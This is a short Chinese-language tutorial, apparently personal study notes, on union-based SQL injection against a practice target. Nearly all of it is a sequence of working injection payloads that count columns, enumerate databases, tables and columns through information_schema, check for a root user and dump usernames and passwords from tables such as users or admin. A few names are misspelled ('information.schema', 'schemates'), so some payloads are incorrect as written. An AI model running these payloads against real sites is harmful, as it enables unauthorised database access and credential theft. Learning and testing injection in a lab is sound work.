Sql注入1:联合注入

outman
4
2025-04-29

原理

数据库系统将所有库名,表名,列名分别存储在三个表中

information.schema下的schemates,tables,columns

同时我们可以通过闭合',注释剩余sql语句,再union扩大对数据库的控制

爆库名->表名->列名->数据

搞洞

本库

//靶场:

  1. 'order by 3--+//确定有几列

  2. ' union select 1,2,database()--+//假设三列,查数据库名

  3. ' union select 1,2,table_name from information_schema.tables where table_schema='库名'--+

  4. ' union select 1,2,column_name from information_schema.columns where table_schema='库名' and table_name='表名'--+//选取可能有用的表,例如users,admin,搞他

  5. 'union select 1,username,password from 表名--+

跨库

  1. ' union select 1,2,user()--+//确定得是root用户,才能继续搞

  2. ' union select 1,2,schema_name from information_schema.schemates--+

  3. 后续查询同上,不过得一直带着table_schema='库名'